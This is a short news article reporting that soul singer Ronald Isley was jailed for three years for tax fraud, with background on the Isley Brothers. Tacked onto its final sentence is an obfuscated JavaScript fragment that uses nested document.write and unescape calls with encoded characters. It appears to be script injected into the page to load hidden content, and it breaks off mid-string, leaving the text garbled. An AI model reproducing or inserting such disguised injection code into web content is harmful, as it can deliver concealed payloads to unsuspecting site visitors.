Isley Brothers frontman jailed

US soul singer Ronald Isley has been jailed for tax fraud.

The Isley Brothers frontman has been sentenced to three years in prison and ordered to pay more than $3.1m (£1.62m) to the US tax service for "pathological" evasion, reports the BBC.

The court heard that the 64-year-old, whose band won a Grammy in 1970 for their hit 'It's Your Thing', cashed royalty cheques belonging to his late brother O'Kelly and spent millions of dollars made from undeclared performances on a yacht and two homes.

Despite suffering a stroke last year and a battle with kidney cancer, US District Court Judge Dean Pregerson refused to give Isley a lesser sentence on the grounds of ill health.

The three Isley Brothers began their career in the 1950s, which continued into the 1970s as the line-up expanded with other family members.

They were inducted into the Rock and Roll Hall of Fame in 1992. Isley and his younger brother Ernie also scored a chart-topping album with 'Body Kiss' three years ago.

Isley and his current wife Kandy are expecting a baby in early 2007.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;